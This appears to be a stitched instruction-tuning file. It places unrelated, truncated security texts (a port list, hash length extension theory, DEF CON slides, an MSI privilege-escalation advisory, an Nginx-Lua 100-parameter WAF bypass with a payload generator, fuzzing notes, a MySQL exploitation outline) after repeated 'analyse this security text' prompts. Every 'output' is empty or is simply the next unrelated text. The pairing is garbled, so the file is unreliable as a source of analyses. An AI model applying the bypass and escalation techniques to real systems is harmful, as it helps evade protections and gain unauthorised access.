# 端口与对应服务清单 在[计算机常用端口号汇总](https://blog.csdn.net/qq_29229567/article/details/84636959)一文的基础上进行修改以作备忘感谢原作者 ## 计算机常用端口 HTTP80HTTP DHCP服务器端的端口号是67 DHCP客户机端的端口号是68 POP3POP3仅仅是接收协议POP3客户端使用SMTP向服务器发送邮件POP3所用的端口号是110 SMTP端口号是25SMTP真正关心的不是邮件如何被传送而只关心邮件是否能顺利到达目的地SMTP具有健壮的邮件处 理特性这种特性允许邮件依据一定标准自动路由SMTP具有当邮件地址不存在时立即通知用户的能力并且具有在一定 时间内将不可传输的邮件返回发送方的特点 Telnet端口号是23Telnet是一种最老的Internet应用起源于ARPNET它的名字是电信网络协议 Telecommunication Network Protocol的缩写 FTPFTP使用的端口有20和2120端口用于数据传输21端口用于控制信令的传输控制信息和数据能够同时传输这是 FTP的特殊这处FTP采用的是TCP连接 TFTP端口号69使用的是UDP的连接 DNS53名称服务 NetBIOS137,138,139,其中137138是UDP端口当通过网上邻居传输文件时用这个端口而139端口通过这个端口进入 的连接试图获得NetBIOS/SMB服务这个协议被用于windows文件和打印机共享和 SAMBA还有WINS Regisrtation也用它 NNTP 网络新闻传输协议119 SNMP简单网络管理协议161端口 RPC远程过程调用服务135端口 QQ使用8000(服务端)和4000端口客户端 21 端口21 端口主要用于FTPFile Transfer Protocol文件传输协议服务 23 端口23 端口主要用于Telnet远程登录服务是Internet上普遍采用的登录和仿真程序 25 端口25 端口为SMTPSimple Mail Transfer Protocol简单邮件传输协议服务器所开放主要用于发送邮件如 今绝大多数邮件服务器都使用该协议 53 端口53 端口为DNSDomain Name Server域名服务器服务器所开放主要用于域名解析DNS 服务在NT 系统中 使用的最为广泛 6768 端口6768 端口分别是为Bootp 服务的Bootstrap Protocol Server引导程序协议服务端和Bootstrap Protocol Client引导程序协议客户端开放的端口 69 端口TFTP 是Cisco 公司开发的一个简单文件传输协议类似于FTP 79 端口79 端口是为Finger 服务开放的主要用于查询远程主机在线用户操作系统类型以及是否缓冲区溢出等用户的 详细信息 80 端口80 端口是为HTTPHyperText Transport Protocol超文本传输协议开放的这是上网冲浪使用最多的协议 主要用于在WWWWorld Wide Web万维网服务上传输信息的协议 99 端口99 端口是用于一个名为Metagram Relay亚对策延时的服务该服务比较少见一般是用不到的 109110 端口109 端口是为POP2Post Office Protocol Version2邮局协议2服务开放的110 端口是为POP3邮 件协议3服务开放的POP2POP3 都是主要用于接收邮件的 111 端口111 端口是SUN 公司的RPCRemote Procedure Call远程过程调用服务所开放的端口主要用于分布式系 统中不同计算机的内部进程通信RPC 在多种网络服务中都是很重要的组件 113 端口113 端口主要用于Windows 的Authentication Service验证服务 119 端口119 端口是为Network News Transfer Protocol网络新闻组传输协议简称NNTP开放的 135 端口135 端口主要用于使用RPCRemote Procedure Call远程过程调用协议并提供DCOM分布式组件对象模型 服务 137 端口137 端口主要用于NetBIOS Name ServiceNetBIOS名称服务 139 端口139 端口是为NetBIOS Session Service提供的主要用于提供Windows 文件和打印机共享以及Unix 中的 Samba 服务 143 端口143 端口主要是用于Internet Message Access Protocolv2Internet 消息访问协议简称IMAP 161 端口161 端口是用于Simple Network Managem


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

411: A Framework for Managing Security Alerts Kai Zhong @sixhundredns kai@etsy.com Kenneth Lee @kennysan ken@etsy.com Kai Zhong @sixhundredns kai@etsy.com Kenneth Lee @kennysan ken@etsy.com Get 411 here: https://github.com/kiwiz/411/ Slides: https://speakerdeck.com/kennysan/411-a- framework-for-managing-security-alerts


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

### Hash Attack概述 常见的Hash函数的攻击方法主要有 - 暴力攻击不依赖于任何算法细节仅与Hash值长度有关 - 生日攻击法(Birthday Attack)没有利用Hash函数的结构和任何代数弱性质只依赖于消息摘要的长度即Hash值的长度 - 中点交会攻击法(Meet-In-The-Middle)是生日攻击的一种变形不比较Hash值而是比较中间变量这种攻击主要适用于攻击具有分组链结构的Hash方案 - 密码分析依赖于具体算法的设计缺点 ### 暴力攻击工具 **HashCat 工具** 可以说是目前最好的基于 CPU 和 GPU 破解 Hash 的软件相关链接如下 [HashCat 官网](http://www.hashcat.net/hashcat/) [HashCat 简单使用](http://www.freebuf.com/sectool/112479.html) ### 哈希长度拓展攻击hash length extension attacks介绍 基本定义如下源自[维基百科](https://zh.wikipedia.org/wiki/%E9%95%BF%E5%BA%A6%E6%89%A9%E5%B1%95%E6%94%BB%E5%87%BB) 哈希长度扩展攻击(Hash Length Extension Attacks)是指针对某些允许包含额外信息的加密散列函数的攻击手段该攻击适用于在**消息与密钥的长度已知**的情形下所有采取了 H(key  message) 此类构造的散列函数MD5和SHA-1 等基于 MerkleDamgård 构造的算法均对此类攻击显示出脆弱性 这类哈希函数有以下特点 - 消息填充方式都比较类似首先在消息后面添加一个1然后填充若干个0直至总长度与 448 同余最后在其后附上64位的消息长度填充前 - 每一块得到的链接变量都会被作为下一次执行hash函数的初始向量IV在最后一块的时候才会将其对应的链接变量转换为hash值 一般攻击时应满足如下条件 - 我们已知 key 的长度如果不知道的话需要爆破出来 - 我们可以控制 message 的消息 - 我们已经知道了包含 key 的一个消息的hash值 这样我们就可以得到一对(messge,x)满足x=H(key  message)虽然我们并不清楚key的内容 ### 哈希长度拓展攻击hash length extension attacks原理 这里不妨假设我们我们知道了 hash(key+s) 的 hash 值其中 s 是已知的那么其本身在计算的时候必然会进行填充那么我们首先可以得到 key+s 扩展后的字符串 now即 now=key|s|padding 那么如果我们在 now 的后面再次附加上一部分信息extra即 key|s|padding|extra 这样再去计算hash值的时候 1. 会对 extra 进行填充直到满足条件 2. 先计算 now 对应的链接变量 IV1而我们已经知道这部分的 hash 值并且链接变量产生 hash 值的算法是可逆的所以我们可以得到链接变量 3. 下面会根据得到的链接变量 IV1对 extra 部分进行哈希算法并返回hash值 那么既然我们已经知道了第一部分的 hash 值并且我们还知道 extra 的值那么我们便可以得到最后的hash值 而之前我们也说了我们可以控制 message 的值那么其实 spaddingextra 我们都是可以控制的所以我们自然可以找到对应的(message,x)满足x=hash(key|message)


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Advancing Video Attacks with video interception, recording, and replay Defcon 17 July 31st, 2009 Jason Ostrom Arjun Sambamoorthy  2008 Sipera Systems, Inc. All Rights Reserved. Agenda Introduction Overview of UC Live demo of Video Eavesdropping Live demo of Video Replay and Video Hijack VoIP Pentesting trick Conclusion DefCon 17 2 Sipera Confidential - Do not reproduce or distribute without express written consent  2008 Sipera Systems, Inc. All Rights Reserved. Introduction About VIPER Lab VIPER ~ Voice over IP Exploit Research Security research lab dedicated to finding New UC / VoIP attack vectors Structural vulnerabilities in insecure protocol / deployment / configuration Penetration testing team specialized in VoIP / UC Security Passionate about VoIP / UC Security Replicated a production, enterprise network in VIPER Lab Security assessment professionals supported by research and exploit developers DefCon 17 3 Sipera Confidential - Do not reproduce or distribute without express written consent  2008 Sipera Systems, Inc. All Rights Reserved. Introduction Who we are  Jason  Arjun DefCon 17 4 Sipera Confidential - Do not reproduce or distribute without express written consent  2008 Sipera Systems, Inc. All Rights Reserved. Agenda Introduction Overview of UC UC Definition UC Business Cases New UC Attacks Live demo of Video Eavesdropping Live demo of Video Replay and Video Hijack VoIP Pentesting trick Conclusion DefCon 17 5 Sipera Confidential - Do not reproduce or distribute without express written consent  2008 Sipera Systems, Inc. All Rights Reserved. What is UC? Unified Communications Voice (VoIP) Video (IP Video) Presence and IM CTI (Computer Telephony Integration)  Desktop Integration Unified Messaging Voice mail and Email in the same Inbox! DefCon 17 6 Sipera Confidential - Do not reproduce or distribute without express written consent  2008 Sipera Systems, Inc. All Rights Reserved. The Business Risk Today our presentation will focus on IP Video exploits Low awa


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Author: Ömer Coşkun Why Nation-State Malwares Target Telco Networks: Dissecting Technical Capabilities of Regin and Its Counterparts The supreme art of war is to subdue the enemy without fighting. Sun Tzu Outline  Overview  Telecom Network Architecture  Practical Attack Surfaces  GRX Attack Vectors  SS7 Attack Vectors  Practical Attack Scenarios  Rootkit Attacks: Regin and its counterparts  Common Rootkit Techniques and Regin  Regin vs. Uruborus and Duqu  Demo: PoC || GTFO  Questions ? 1 $ whoami Ömer Coşkun (@0xM3R)  BEng. Computer Science Research Assistant in Quantum Cryptography & Advanced Topics in AI 2  Industry Experience KPN  CISO , Ethical Hacking Verizon  Threat & Vulnerability Management IBM ISS  Threat Intelligence  Interests Algorithm Design, Programming, Cryptography, Reverse Engineering, Malware Analysis, OS Internals, Rootkits $ REDteam 3 Motivations 4  Analyze existing vulnerabilities and attack surface of GSM networks  Governments hack their own citizens  Surveillance implants shifted focus to telecom networks and network devices  European Telco companies are really paranoid after Regin attack  Rootkits are fun : a lot to learn & challenge  Reproduce the attack scenario and implement it! GSM Network Architecture 5 GSM Network Architecture 6 Regin targets GSM Networks 7 Determining Attack Surface 8 Determining Attack Surface 9 Determining Attack Surface 10 Potential Attack Surfaces 11  Absence of physical intrusion detection devices  Vulnerable services running accessible from BTS  Absence of tamper resistance and unauthorized access protection  Improper network segmentation; inner non- routable segments of the Telco company could accessible.  Core GPRS Network and Network Subsystem (NSS) could be exploitable! Potential Attack Surfaces 12 GRX Networks 13 GRX Networks 14  GPRS roaming exchange, interconnecting networks.  Your local GSM provider abroad  Trust-based, highly interconnected network, made for internet sharing  A failure or malicious activ


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

MSI - Microsoft Windows Installer Elevation of Privilege Summary: The Microsoft Windows Installer permits under some circumstances to a standard user an arbitrary permissions and content overwrite with SYSTEM privileges. ( Microsoft Windows Installer: https://docs.microsoft.com/en-us/windows/win32/msi/windows-installer-portal ) Products affected: Windows 10 Enterprise (1903) with latest security update (2019 November patch) and probably also other versions (not tested). Windows 10 Enterprise - INSIDER PREVIEW (Fast ring) 10.0.19033 - Build 19033 Description: It is possible and allowed by Windows Installer service to install a MSI package as standard user. I have noticed, in my research, that when a standard user installs a MSI package , the Windows Installer service triggers some operations with SYSTEM privileges. (see image below from Procmon) Going forward with my research I found that, after a package is installed on the system, a standard user could force a repair of the product with /f command line parameter. In our case, for example, command msiexec /qn /fa foo.msi triggers the repair operation . With this command Ive seen a couple of interesting operations came out that caught my attention. As SYSTEM, the Windows Installer service try to set the permissions of the package files that are going to be reinstalled. After that, it read and writes the content of the package files ( stored within msi package ). See image below from Procmon. As we can see, the first time Windows Installer service tries to open one the files impersonating the standard user but as a result it gets a PRIVILEGE NOT HELD, then, after that, it closes the file and reopens it as SYSTEM without impersonating! Afterward it continues to set the permissions of the file as SYSTEM and writes its content. This is clearly a point of possible exploitation! In order to obtain the desired a result, a race condition has to be successfully exploited. The race condition is going to occur between the momen


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

'\" -*- tcl -*- doctools manpage '\" '\" Generated from ./modules/html/html.man by mpexpand with fmt.nroff '\" .TH "html" 3tcl 1.2.1 html "HTML Generation" .SH NAME html \- 产生 HTML 框架的子程序 .SH "总览 SYNOPSIS" package require \fBTcl 8.2\fR .sp package require \fBhtml ?1.2.1?\fR .sp \fB::html::author\fR \fIauthor\fR\fR .sp \fB::html::bodyTag\fR \fIargs\fR\fR .sp \fB::html::cell\fR \fIparam value\fR ?\fItag\fR?\fR .sp \fB::html::checkbox\fR \fIname value\fR\fR .sp \fB::html::checkSet\fR \fIkey sep list\fR\fR .sp \fB::html::checkValue\fR \fIname\fR ?\fIvalue\fR?\fR .sp \fB::html::closeTag\fR \fR .sp \fB::html::default\fR \fIkey\fR ?\fIparam\fR?\fR .sp \fB::html::description\fR \fIdescription\fR\fR .sp \fB::html::end\fR \fR .sp \fB::html::eval\fR \fIarg\fR ?\fIargs\fR?\fR .sp \fB::html::extractParam\fR \fIparam key\fR ?\fIvarName\fR?\fR .sp \fB::html::font\fR \fIargs\fR\fR .sp \fB::html::for\fR \fIstart test next body\fR\fR .sp \fB::html::foreach\fR \fIvarlist1 list1\fR ?\fIvarlist2 list2 ...\fR? \fIbody\fR\fR .sp \fB::html::formValue\fR \fIname\fR ?\fIdefvalue\fR?\fR .sp \fB::html::getFormInfo\fR \fIargs\fR\fR .sp \fB::html::getTitle\fR \fR .sp \fB::html::h\fR \fIlevel string\fR ?\fIparam\fR?\fR .sp \fB::html::h1\fR \fIstring\fR ?\fIparam\fR?\fR .sp \fB::html::h2\fR \fIstring\fR ?\fIparam\fR?\fR .sp \fB::html::h3\fR \fIstring\fR ?\fIparam\fR?\fR .sp \fB::html::h4\fR \fIstring\fR ?\fIparam\fR?\fR .sp \fB::html::h5\fR \fIstring\fR ?\fIparam\fR?\fR .sp \fB::html::h6\fR \fIstring\fR ?\fIparam\fR?\fR .sp \fB::html::hdrRow\fR \fIargs\fR\fR .sp \fB::html::head\fR \fItitle\fR\fR .sp \fB::html::headTag\fR \fIstring\fR\fR .sp \fB::html::if\fR \fIexpr1 body1\fR ?\fBelseif\fR \fIexpr2 body2 ...\fR? ?\fBelse\fR \fIbodyN\fR?\fR .sp \fB::html::keywords\fR \fIargs\fR\fR .sp \fB::html::mailto\fR \fIemail\fR ?\fIsubject\fR?\fR .sp \fB::html::meta\fR \fIargs\fR\fR .sp \fB::html::minorMenu\fR \fIlist\fR ?\fIsep\fR?\fR .sp \fB::html::minorList\fR \fIlist\fR ?\fIordered\fR?\fR .sp \fB::html::op


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

This talk is not about LTE vulnerabilities No cables Why isnt it working? Scared Poopless  LTE and *your* laptop Disclaimer: During the slides you will be exposed to hacker stock photos from the internet. Thank you! Goldy aSmig @octosavvi Intel Security would like to acknowledge and thank the Huawei PSIRT team for their responsiveness and cooperation on this issue.  CVE-2015-5367: Insecure Linux Image in Firmware  CVE-2015-5368: Insecure Firmware Update Authentication http://huawei.com/en/security/psirt/security- bulletins/security-advisories/hw-446601.htm DEMO What did I just see? This is not a problem Remember kids! This is why you should do secure firmware updates NEVER FORGET Adam Caudill Brandon Wilson Who are we? @jessemichael @laplinker Background  Internal LTE/3G modems and who uses them? I like to use my own keyboard  Internal LTE/3G modems and who uses them?  Business class devices I think I have an idea!  Internal LTE/3G modems and who uses them?  Business class devices  How is it plugged in anyway? Card against humanity 2015 world champion  Internal LTE/3G modems and who uses them?  Business class devices  How is it plugged in anyway?  Internal LTE/3G modems and who uses them?  Business class devices  How is it plugged in anyway? PCIe 2, SATA, USB 2.0 and 3.0, Audio, PCM, IUM, SSIC and I2C I forgot macs dont have a CD drive anymore  Internal LTE/3G modems and who uses them?  Business class devices  How is it plugged in anyway?  USB?! Crap! I just stabbed my usb thumb drive!  Internal LTE/3G modems and who uses them?  Business class devices  How is it plugged in?  USB?!  Why hack this device anyway? Respect the gas/ski mask Background  Internal LTE/3G modems and who uses them?  Business class devices  How is it plugged in?  USB?!  Why hack this device anyway?  Module available worldwide  Its plugged in [INSIDE] your laptop/tablet  Software  Firmware  Hardware  Software  Windows utility for firmware updates  Firmware  Hardware  Software  Windows utility fo


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# GoReleaser - https://github.com/goreleaser/goreleaser --- 自动化打包工具 --- **安装** - https://github.com/goreleaser/goreleaser/releases --- **使用** 在目标目录执行 goreleaser init 将会生成一个 `.goreleaser.yml` 配置文件 修改配置,例如 ```yml # This is an example .goreleaser.yml file with some sane defaults. # Make sure to check the documentation at http://goreleaser.com before: hooks: # You may remove this if you don't use go modules. #- go mod tidy # you may remove this if you don't need go generate #- go generate ./... builds: - env: - CGO_ENABLED=0 id: "anewproject" binary: "anew" goos: - linux - windows - darwin goarch: - amd64 archives: - replacements: darwin: Darwin linux: Linux windows: Windows 386: i386 amd64: x86_64 checksum: name_template: 'checksums.txt' snapshot: name_template: "v1.0.0-snapshot" changelog: sort: asc filters: exclude: - 'docs:' - 'test:' ``` **打包** ``` goreleaser --snapshot --skip-publish --rm-dist ``` 这里可能会提示 ```  release failed after 2.94s error=failed to build for darwin_amd64: go: cannot find main module, but found .git/config in C:\xxx ``` 直接 ``` go mod init hello ``` 再运行一遍就可以了 如果提示一下报错 ``` couldn't guess project_name, please add it to your config ``` 添加一行就行 ```yaml project_name: myproject ``` **main.go 不在根目录的情况** ```yaml # .goreleaser.yaml builds: - main: ./path/to/your/main/pkg/ ```


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Nir Valtman, CISSP Blog: www.valtman.org Twitter: @ValtmaNir Bug Bounty Programs Evolution 2 Im an architect Zombies!!! 5 Defacement 6 AntiDef OPEN SOURCE Memory Scraper Secure TDD Research Bug Bounty Programs Since 2011 Academy Final Project If you cant beat them, join them! Not cost-effective Virtual Environment Bounty Hunter Safe Bug Bounty Program Shay Fainberg Ideas worth spreading The Evolution Bounty Hunters in Real Life Terms & Conditions Successful Kill $ Successful Kill Good Reputation Targets Politicians VIP Men Women Kids Animals Hit men st ...REFINE BETA VERSIONS AND ENSURE HIGHEST QUALITY SOFTWARE Winners Awards Success || Failure Story? Success 2004 Perspectives on Bug Bounty Programs Business Bounty Hunter Business Start Your Own Online Program Technology Operations Legal Start Your Own Online Program Technology Operations Legal Handle heavy traffic Start Your Own Online Program Technology Operations Legal Stronger IPS Start Your Own Online Program Technology Operations Legal Stronger WAF Start Your Own Online Program Technology Operations Legal Bugs Management Incident Response Start Your Own Online Program Technology Operations Legal Liability Self-Owned External External A-TEAM External Identity Verification External External Traffic Shaping Benefits Concerns Benefits Payment Models Real-World Hacking Scenario Security Leader Positioning Benefits Concerns Concerns Production Test Sensitive Data Leakage Denial of Service Black Hats Detection Companys Perimeter Non-security Bugs Handling Side Effects Minimize Exposure Time Perspectives on Bug Bounty Programs Business Bounty Hunter Bounty Hunter Motivation Frustration Name: Oren Hafif Source: www.orenh.com Case Study Actual Risk Exposing all hosted email addresses in Google 1st Response DENIED! 2nd Response $500 Reward Next Generation Bug Bounty Programs Minimize Production Risks Minimize Production Risks Allow Penetration Tests Prevent Malicious Exploitation Minimize Production Risks web service web


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

MALWARE MIGRATING TO GAMING CONSOLES Embedded devices, an AntiVirus-free safe hideout for Malware Ahn Ki-Chan - Hanyang University, Undergraduate Ha Dong-Joo - AhnLab Inc., Security Researcher About Introduction - Embedded systems(gaming consoles, smartphones, etc.) have enough hardware for malware to survive and perform it's job - There are not so many publicly disclosed issues of malware on these devices which make people think that they are safe - The possibilities of malware on embedded systems and the resulting effects will be shown in this presentation with some real world examples, along with some possible defenses About Index Background Knowledge - The pirate scene of Gamine consoles and Smartphones - The current state of malware on embedded devices - The mindset of the general public The attacker's point of view - Gaming consoles as an attacking tool - Hacking with NDS - Malware on Console Gaming systems - Malware on Wii - Malware injection on Smartphone applications - Malware on Smartphones Preparation - Our defenses - Manufacturers : Steps to take when designing a new device - Service, Security companies : Measurements in Software or Policies - Users : Precautions for the general users About Background Knowledge The pirate scene of Gamine consoles and Smartphones Background Knowledge Payed software being illegally downloaded - Most embedded devices implement anti pirate Measures by some means, but these protections are eventually bypassed Background Knowledge - The pirate scene of Gamine consoles and Smartphones The distribution of illegal software - Just like PC software, illegal software is Being distributed without any restrictions via P2P, torrents, web storage - Easily accessible by the general public Background Knowledge - The pirate scene of Gamine consoles and Smartphones The current state of malware on embedded devices Background Knowledge Malware on Gaming Consoles - Disguises itself as a useful homebrew application, and lures users to install i


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Nginx_lua 100参数绕过原理详解 一环境搭建 Nginx_lua 安装 https://github.com/openresty/lua-nginx-module#installation 安装完之后可以在nginx.conf 写入配置可以动态在Nginx 层面进行过滤和调度 这里使用一个很简单的方式来展示绕过的原理 wget 'https://openresty.org/download/nginx-1.19.3.tar.gz' tar -xzvf nginx-1.19.3.tar.gz cd nginx-1.19.3/ # tell nginx's build system where to find LuaJIT 2.0: export LUAJIT_LIB=/path/to/luajit/lib export LUAJIT_INC=/path/to/luajit/include/luajit-2.0 # tell nginx's build system where to find LuaJIT 2.1: export LUAJIT_LIB=/path/to/luajit/lib export LUAJIT_INC=/path/to/luajit/include/luajit-2.1 # Here we assume Nginx is to be installed under /opt/nginx/. ./configure --prefix=/opt/nginx \ --with-ld-opt="-Wl,-rpath,/path/to/luajit/lib" \ --add-module=/path/to/ngx_devel_kit \ --add-module=/path/to/lua-nginx-module # Note that you may also want to add `./configure` options which are used in your # current nginx build. # You can get usually those options using command nginx -V # you can change the parallism number 2 below to fit the number of spare CPU cores in your # machine. make -j2 make install location = /api2 { content_by_lua_block { tmp='' for i,v in pairs(ngx.req.get_uri_args()) do 这里是意思是访问/api2 然后返回get的所有参数默认他是接受100个参数当超过100个参数的时候会 默认不会记录这样达成了一个绕过的一个方式演示如下 首先先发送两个id 过去试试 那么试试id1->id100 if type(i)=='string' then tmp=tmp..i..' ' end end ngx.header.content_type = "application/json;" ngx.status = 200 ngx.say(tmp) ngx.exit(200) } } a='' for i in range(1,102): a=a+'id'+str(i)+'=11&' print(a) 返回从1-100 但是没有id101 那么这个id101 哪里去了呢 那么看看ngx.req.get_uri_args() 这个函数是怎么实现的 二源码解析 参考文章: https://blog.csdn.net/liujiyong7/article/details/37692027 src/ngx_http_lua_module.c为模块主入口文件 注册函数的写法有统一的格式 GET /api2? id1=11&id2=11&id3=11&id4=11&id5=11&id6=11&id7=11&id8=11&id9=11&id10=11&id11=11&i d12=11&id13=11&id14=11&id15=11&id16=11&id17=11&id18=11&id19=11&id20=11&id21=11&i d22=11&id23=11&id24=11&id25=11&id26=11&id27=11&id28=11&id29=11&id30=11&id31=11&i d32=11&id33=11&id34=11&id35=11&id36=11&id37=11&id38=11&id39=11&id40=11&id41=11&i d


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

D u m a r t f u z z e r  M a k e t h e d u m b f u z z e r s m a r t 陈振宇 个人安全研究员 背景  内存类漏洞占很大比例  Fuzzing仍然是发现内存类漏洞的重要手段  有源码fuzzing工具已经很完善  无源码fuzzing的方法缺点较多一般无源码 的Fuzzing也叫黑盒fuzz  有时不得不进行黑盒fuzz如闭源项目 背景黑盒fuzz的困难  状态机  dlopen  qemu, unicorn  效率低  缺乏路径反馈  没有路径反馈的一般称为dumb fuzz反之会叫smart fuzz  没有地址消杀器  fuzzing without ASAN is a waste of CPU 状态机是什么为什么麻烦  所有CPU以及内存里的值  指针虚函数表等  变量内存里保存的值  某状态时cpu寄存器的值 大型软件中对象间有聚合依赖 包含所有对象都需要满足才能运行 要运行fuzz有时即使有源码也是很 复杂的事情  背景如何能做一个最简单的黑盒fuzz  简单来说需要2点  1fuzz就是不断地运行某一段代码每次运行输入变异了的参数  2要运行一段代码需要准备好代码运行的上下文这个上下文有时又叫状态机 状态机如何简单地获取状态机提高效率  状态机天然在存在我们的测试环境里业务可以正常运行  直接发送报文效率低只能从处理入口开始fuzz崩溃检测慢  如果可以在正常运行的程序中注入我们的代码就可以获得这个状态机和不断运行被测试对象 效率会大大提升 进程注入( https://github.com/gaffe23/linux-inject)  使用系统调用fork保存系统状态  在新进程中可以选择任意函数甚至任意片段进行fuzz 目标进程 libfuzzer.s o inject Fork process with state machine libfuzzer.so fork 新进程是Fuzzer 原进程继续运行 状态机注入原理  是通过ptrace在目标进程写入一段二进制代码  二进制代码执行了__libc_dlopen_mode把 目标库加载进进程空间  恢复进程原本上下文 目标进程 inject bin code libfuzzer.so 加载 状态机: 为什么不在原进程fuzz  其实是可以的  但是  一些嵌入式系统有看门狗在原进程上fuzzing可能由于响应慢等导致非漏洞的重启  需要启动一个新线程来做fuzz  效率较低  全局变量的访问 Fuzzer: 快照快照的作用  Afl 有fork server会不停地执行fork来运行一次测 试对象  Fork可以恢复运行的状态但是时间开销较大  Afl就有persistent mode减少fork开销假定每次 运行都是无状态的 重复运行测试对象  Dumart fuzzer模仿persistent mode保存快照 用于恢复 Fuzzer: 保存快照怎么保存  内存:  扫描进程的内存空间保存目标的可写段  所有堆内存  不是一个变量一个变量地记录整个段保存下来  寄存器:  在需要保存状态的地方设置断点通过断点处理程序记录寄存器状态 Fuzzer: 崩溃检测  内存类漏洞崩溃时到底发生了什么?  收到信号SIGSEGV  注册SIGSEGV信号处理程序接管SIGSEGV信号  Unique crash detect: 检查RIP是否唯一  Unique crash 则保存输入  恢复上下文 SIGSEGV handler 保存输入及定 位信息 检测unique crash 恢复状态继 续fuzz YES NO Fuzzer: 路径反馈是什么  路径反馈可以让fuzz运行的更深  发现更多问题  这是smart fuzz和dumb fuzz最重要的区别 Fuzzer: 路径反馈  通过ida脚本把被测对象的所有block的地址记录下来  断点  在每个代码块的起始地址改写为断点指令(int 3)  注册信号处理程序  触发新代码块的输入作为种子保存  恢复原本的指令  继续运行 Block A Block B Block C Int 3 Int 3 Int 3 RIP Original code RIP Original code Fuzzer: 路径反馈  打断点  断点触发  恢复代码 ASAN是什么  发生内存类漏洞时程序是否一定有异常表现  NO如小量越界读写只要不是读写发生在非法地址程序是不会崩溃的  UAF类型漏洞程序崩溃现场调用栈上很可能是没有漏洞的因为这不是漏洞发生的第一 现场给定位问题带来困难 ASAN一种内存类型漏洞检测技术在溢出UAF等漏洞发生时马上触发程序崩溃 ASAN


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Protecting Data with Short- Lived Encryption Keys and Hardware Root of Trust Dan Griffin DefCon 2013 Time-Bound Keys Announcements  New tool: TimedKey.exe  New whitepaper: Trusted Tamperproof Time on Mobile Devices  Check out http://www.jwsecure.com/dan What does the NSA think?  The NSA has been public about:  Inevitability of mobile computing  Need to support cloud-based services  Even for use with secret data in the field  What works for them can work for you How does the cloud know  Who you are?  Where you are?  Is your computer acting on your behalf? Device Integrity  A device is silicon  It might be pretending to be me  It might be pretending to be you  Define device integrity to be truth telling  Is the device faithfully asserting delegation?  Is it faithfully representing the users intent? Current Technology Landscape  Why are mobile devices less secure?  Inconvenience of good passwords  Current antivirus is not up to the task  User-owned (BYOD/consumerization trends)  But mobile devices do have security features  Screen lock  Secure storage  TrustZone & Trusted Execution Environment  Trusted Platform Module Mobile Vulnerabilities  Rootkits got harder, bad apps got much easier  Mobile threat landscape:  Easy to steal the device  Easy to steal services  Easy to install apps that steal data  Even remote eavesdropping What is needed to be secure?  Encrypt user data  Sandbox apps  Secure, measured boot (TPM)  Remote platform attestation How to use a hardware root of trust  Device receives TPM-bound token  Sends token to relying party to prove status  Token can carry decryption key as well  If device is measured to be insecure  The good guys win!  Need to reset machine to clean it What is Remote Attestation?  Remote attestation is enabled by the TPM  Can a server know the truth about the client?  Use root of trust to measure boot chain and configuration  Remote attestation is a means to the truth  The TPM attests to device attributes  Rootkit-resistant, though not


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

IPv6@ARIN Matt Ryanczak Network Operations Manager IPv6 Timeline IETF starts thinking about successors to IPv4. 1990 IETF forms IPNG area RFC 1475 TP/IX RFC 1550 IPng Paper Solicitation 1993 RFC1817 CIDR and Classful Routing RFC 1883 Draft IPv6 Spec 1995 6bone started RFC 1970 Neighbor Discovery RFC 1971 Address Autoconfig 1996 RFC 3775 IPv6 mobility RFC3697 Flow Label Spec RFC 2471 6bone phase out 2004 RFC 5095 Deprecation of Type 0 Routing Headers RFC 4942 IPv6 Security Considerations 2007 RFC 5722 Handling of overlappingIPv6 fragments 2009 RFC 5871 IANA Allocation Guidelines for the IPv6 Routing Header 2010 RFC 3315 DHCPv6 RFC 2553 Basic Socket Interface Extensions 2003 What happened to IPv5? The Internet Stream Protocol (ST, ST2, ST+)  First developed in the late 1970s (Internet Engineering Note 119, 1979)  Designed to transmit voice and other real time applications  Guaranteed bandwidth, QOS  Set the version field in IP header to 5  ST2 and ST+ saw interest from IBM, Sun and others in to the 1990s There were a lot of potential replacements for IPv4: RFC 1752 Recommendation for the IP Next Generation Protocol (Pv6) RFC 1475: TP/IX: The Next Internet (IPv7) RFC 1621: PIP - The P Internet Protocol (IPv8) RFC 1374: TUBA - TCP and UDP with Bigger Addresses (IPv9) RFC 1606: A Historical Perspective On The Usage Of IP Version 9 ARIN IPv6 Timeline Sprint IPv6 WWW, DNS, FTP Worldcom IPv6 WWW, DNS, FTP Equi6IX IPv6 WWW, DNS, FTP, V6 Peering NTT | Tinet IPv6 Whois, DNS, IRR, Peering 2003: Sprint  T1 via Sprint  Linux Router with Sangoma T1 Card  OpenBSD firewall  Linux-based WWW, DNS, FTP servers  Segregated network no dual stack (security concerns)  A lot of PMTU issues  A lot of routing issues  Service has gotten better over the years 2004: Worldcom  T1 via Worldcom to Equinix  Cisco 2800 router  OpenBSD firewall  Linux-based WWW, DNS, FTP servers  Segregated network no dual stack (security concerns)  A lot of PMTU Issues  A lot of routing issues 2006: Equi6IX  100 Mbit


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

1 Advanced MySQL Exploitation Muhaimin Dzulfakar muhaimindz@gmail.com 2 Contents 1 Abstract............................................................................................................................................3 2 Introduction ....................................................................................................................................3 3 Stacked Query.................................................................................................................................3 4 Attacking MySQL on applications that do support stacked queries...............................................4 5 Attacking MySQL on applications that do not support stacked queries........................................5 6 Fingerprinting the web server directory.........................................................................................7 6.1 Fingerprint through error message method................................................................................7 6.2 Fingerprint through LOAD_FILE method......................................................................................7 7 Maximum size of arbitrary code allowed........................................................................................7 8 Arbitrary file compression/decompression ....................................................................................8 9 Dealing with columns......................................................................................................................8 10 Remote code execution on LAMP.................................................................................................9 11 Remote code execution on WAMP.............................................................................................10 References ........................................................................................................................................11 3 1 Abstract This document discusses in detail how


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

